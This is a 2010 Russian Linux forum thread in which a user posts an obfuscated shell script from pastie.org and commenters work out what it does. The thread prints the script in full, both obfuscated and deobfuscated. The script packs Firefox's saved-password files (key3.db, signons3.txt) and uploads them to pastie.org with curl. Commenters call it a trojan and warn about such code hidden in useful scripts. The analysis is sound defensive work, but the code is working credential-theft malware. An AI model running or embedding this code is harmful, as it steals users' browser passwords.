welinux.ru/Есть вопрос! — Что делает этот скрипт?

: digiwhite 14.09.10 23:18 # +0–

Под кат пожалуйста. Всю верстку на глагне ломает.

: ashxan 14.09.10 23:45 # +0–

Может закачивает что-то curl'ом ?

philosoft 15.09.10 00:53 # +2–

Беглый осмотр показал, что этот скрипточек запаковывает таром ~/.mozilla и куда-то его отправляет. Подробный анализ будет завтра, если топик останеца.

philosoft 15.09.10 01:34 # ↑ +6–

После деобфускации:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 # WARNING: obsolete # check existence of ~/.mozilla directory target=$(eval ls -d ~/.mozilla) if [ -e $target ]; then # prepare name for temporary file tmp="/tmp/.mozilla_${RANDOM}"; # create a temporary file and may be add some special sing for monitoring # script activities on pastie.org echo "TM_DQTL" > $tmp; # cd ~/.mozilla; cd $target; # get our secrets =( tar cf - key3.db signons3.txt | gzip -f | base64 >> $tmp ; fi # post our secrets at pastie.org and clean up curl -F "paste[parser_id]=4" -F "lang=" -F "paste[body]=$(cat $tmp)" -F "paste[authorization]=burger" -F "key=" -F "paste[restricted]=0" -F "x=$(((${RANDOM} % 30)))" -F "y=$(((${RANDOM} % 30)))" pastie.org/pastes 2>&1 > /dev/null && rm $tmp 2>&1 > /dev/null

albibek 15.09.10 09:23 # ↑ +0–

Чем пользовались для деобфускации?

philosoft 15.09.10 13:08 # ↑ +1–

Головой

: philosoft 15.09.10 21:50 # ↑ +0–

Вот мне реально интересно, за что минус?

sugar 15.09.10 10:01 # ↑ +0–

хмм... троян по ходу?
кульхацкеры отакуют

albibek 15.09.10 10:33 # ↑ +1–

Это не троян. Троян - это та хрень, которая этот скрипт запускает :)

ЗЫ: Если юзер запустил сам, то он - троян.

: sugar 16.09.10 17:49 # ↑ +0–

С чего ты взял? А если он втихую кому-нибдуь подсадил этот скрипт в крон (допустим своей девушке, чтоб посмотреть что она там без него делает)?

Он вообще может вложить этот кусочек кода в большой shell-скрипт (возможно даже полезный), разместить его где-нибудь в инете, рассказать, какой это классный и полезный скрипт. И пока кто-нибудь из прошаренных обратит внимание, куча новичков уже протестирует этот волшебный скрипт. Как автор поста, например. А в отсылаемой папке, предположим, будут кукисы с хэшами паролей от каких-либо сервисов. Через которые вдальнейшем будут работать спам-боты.

Так что это троян, программа, совершающая скрытые вредоносные действия, без собственного механизма распространения.

Вот здесь немного разжевано

: predator 15.09.10 20:50 # +1–

После запуска выдает:...

Опрометчивым было решение запустить скрипт =)

—

14.09.10 23:14 commonD

Есть вопрос! — Что делает этот скрипт?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 #! /bin/sh __p_="3" __r="a2V5My5kY" _f__="TM_DQTL" _g_="Lar" _z___="oz" _k="bHMgLWQgfi8ubW96aWxs" _k_="zMy50eHQ" _i_="Zmp" _r_="iBzaWdub25" _l="bas" _g__="Qp" _i="YS9maXJlZm94LyouZGVmYXVsdA" _r="A64" _p=$(eval $(echo $_k$_i== | $_l${_r/A/e} -d)); if [ -e $_p ]; then z=/${_i_/Z/t}/$(basename $_p)_${RANDOM}; echo $_f__ > $z && _m___="Mz";$(cd $_p; ${_g_/L/t} cf - $(echo $__r$_r_$_k_= | $_l${_r/A/e} -d) | ${_z___/o/g}${_g__/Q/i} -f | $_l${_r/A/e} >> $z); __l="bas";fi eval $(echo H4sICDlzZ0sAA3VwbG9hZC1wYXN0ZWJpbgB1jk0LgkAURff9ioeY6KK0j+0IQbSroG1IjPqwocmRNzORRv890xZGtL3ncu7NLEmYbMCpuDZ4rDhppJPIE7Z0ulzysmDOoJKqvE6Y62fcgNsEQ8StOSsSDTdClQlLLRVIfeGC9ZeFUBsSmcF2KerBvZX6vvs4rHbr/fYJY1hEQfAZqP/Bt07gVFERdmYN89ibQQxhjrewtFKC5wFd268/ZPQCqyZJlv4AAAA= | $__l${_r/A/e} -d | ${_m___/M/g}${_g__/Q/i} -d)

Нашел тут:

http://pastie.org/806668.txt

После запуска выдает:

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1901 0 91 100 1810 72 1433 00:00:01 00:00:01 --:--:-- 7448

Похожие +-1–

K-9 — « Talks! / Плюсы и минусы работы дома» K-9 — « Talks! / Плюсы и минусы работы дома» K-9 — « Есть проблема! / Проблема с pppd.» K-9 — « Linux Games / UFO: Alien Invasion 2.3» mutantcornholio — « Есть проблема! / Проблема с pppd.» K-9 — « Есть проблема! / Ubuntu 10.10 проблема с переключением раскладки.» K-9 — « Есть проблема! / Ubuntu 10.10 проблема с переключением раскладки.» K-9 — « Есть проблема! / Ubuntu 10.10 проблема с переключением раскладки.» mutantcornholio — « Zereal / Этот день в истории» zarkone — « Есть проблема! / Ubuntu 10.10 проблема с переключением раскладки.» jh — « Есть проблема! / Проблема с pppd.» pumbur — « Есть проблема! / Проблема с pppd.» segoon — « Переводы / Subversion vs. Git: выбираем правильную систему контроля версий с открытым исходным кодом.» heavyrail — « Переводы / Subversion vs. Git: выбираем правильную систему контроля версий с открытым исходным кодом.» cooler — « Linux Games / UFO: Alien Invasion 2.3» K-9 — « Есть проблема! / [solved]Поломал кодировку в консоли Gentoo»
Последние посты
Последние комментарии
Изменения
Черновики (все)
Избранное (всё)

Лучшие блоги (все 133) Tips & tricks (30) Есть вопрос! (24) How-to`s (22) Archlinux (22) Vim (21) Мой рабочий стол. (18) Скрипты (16) Linux Games (15) KDE (15) Debian (14)
Элита (все 2605 из 205 городов) Username (247) muhas (246.6) Aesdana (131.1) Shtsh (123.8) h0rr0rr_drag0n (120.25) cppmm (117.8) ZogG (112) digiwhite (101) Minoru (98.45) ner_uto (92.8)

В сети: todeus, exelens, K-9

Новенькие: an-tyr, pozadi, fmstereo, Kamikadze, Anrock